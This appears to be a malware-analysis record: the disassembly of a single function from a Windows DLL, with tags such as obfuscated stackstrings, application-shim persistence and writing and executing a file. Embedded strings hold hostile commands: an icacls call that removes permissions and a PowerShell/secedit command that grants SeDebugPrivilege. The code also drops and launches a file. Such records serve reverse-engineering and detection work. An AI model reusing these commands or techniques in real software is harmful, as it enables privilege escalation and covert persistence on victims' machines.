Function at 0x10001c8f
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Create process on windows
Delete file
Get file attributes
Persist via application shimming
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a0
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push str.cmd__c_icacls__C:ProgramDataMicrosoftProgram___remove:d_Everyone_
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, str.C:ProgramDataMicrosoftProgramziliao.jpg1
push ebx
push esi
call fcn.10001c74
mov edi, str.C:ProgramDataMicrosoftProgramziliao.jpg
push ebx
push edi
call fcn.10001c74
push ebx
push str.C:ProgramDataMicrosoftProgramziliao
call fcn.10001c74
push ebx
push str.C:ProgramDataMicrosoftziliao.jpg
call fcn.10001c74
add esp, 0x20
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
push edi
call esi
push str.C:ProgramDataMicrosoftProgramziliao
call esi
push str.C:ProgramDataMicrosoftziliao.jpg
call esi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x104
lea eax, [ebp - 0x2a0]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x30]
mov byte [ebp - 0x20], 0x4b
push eax
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 0x1f], 0x45
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x4e
mov byte [ebp - 0x1c], 0x45
mov byte [ebp - 0x1b], 0x4c
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x30], 0x47
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x54
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x6d
mov byte [ebp - 0x2a], 0x70
mov byte [ebp - 0x29], 0x50
mov byte [ebp - 0x28], 0x61
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], 0x68
mov byte [ebp - 0x25], 0x41
mov byte [ebp - 0x24], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x19c]
push ecx
push esi
call eax
cmp dword [ebp + 0x10], 0xffffffff
mov esi, dword [ebp + 8]
jne 0x10001dfb
mov byte [ebp - 0x10], 0x50
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x75
mov byte [ebp - 0xd], 0x67
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x6e
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.1000a45b
add esp, 0xc
jmp 0x10001e31
push esi
mov byte [ebp - 0xc], 0x52
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 0xa], 0x25
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.1000a45b
add esp, 0x10
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x10001f19
lea eax, [ebp - 0x34]
push ebx
push eax
push esi
call fcn.1000a3e0
pop ecx
mov ecx, dword [ebp + 0xc]
sub ecx, eax
dec ecx
push ecx
push esi
call fcn.1000a3e0
pop ecx
lea eax, [eax + esi + 1]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push edi
call fcn.10001c74
pop ecx
pop ecx
push ebx
push str.powershell.exe__NoProfile__C__Set_Content__Value____Unicode__Unicodeyes__Version__signature__CHICAGO___Revision1__Privilege_Rights__SeDebugPrivilege__S_1_5_18__File_Security___C:ProgramDataMicrosoftProgram__0__D:AR_D_OICI_DTSDRCWD___WD_____Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege.inf____Encoding_Unicode__secedit.exe__configure__db___IO.Path_::Combine__env:TEMP__SeDebugPrivilege.sdb____cfg___IO.Path_::Combine__env:TEMP__SeDebugPrivilege.inf____overwrite__log___IO.Path_::Combine__env:TEMP__SeDebugPrivilege.log____quiet__Remove_Item__Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege.____Force__
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebx
push edi
call fcn.1000a2d0
pop ecx
cmp eax, 0xffffffff
pop ecx
je 0x10001ef2
push ebx
push ebx
lea eax, [ebp - 0x2a0]
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
push dword [0x10033388]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp + 0x10], 0xffffffff
je 0x10001f19
lea eax, [ebp - 0x19c]
push 0x2e
push eax
call fcn.1000a3b0
pop ecx
test eax, eax
pop ecx
je 0x10001f19
lea eax, [ebp - 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0xc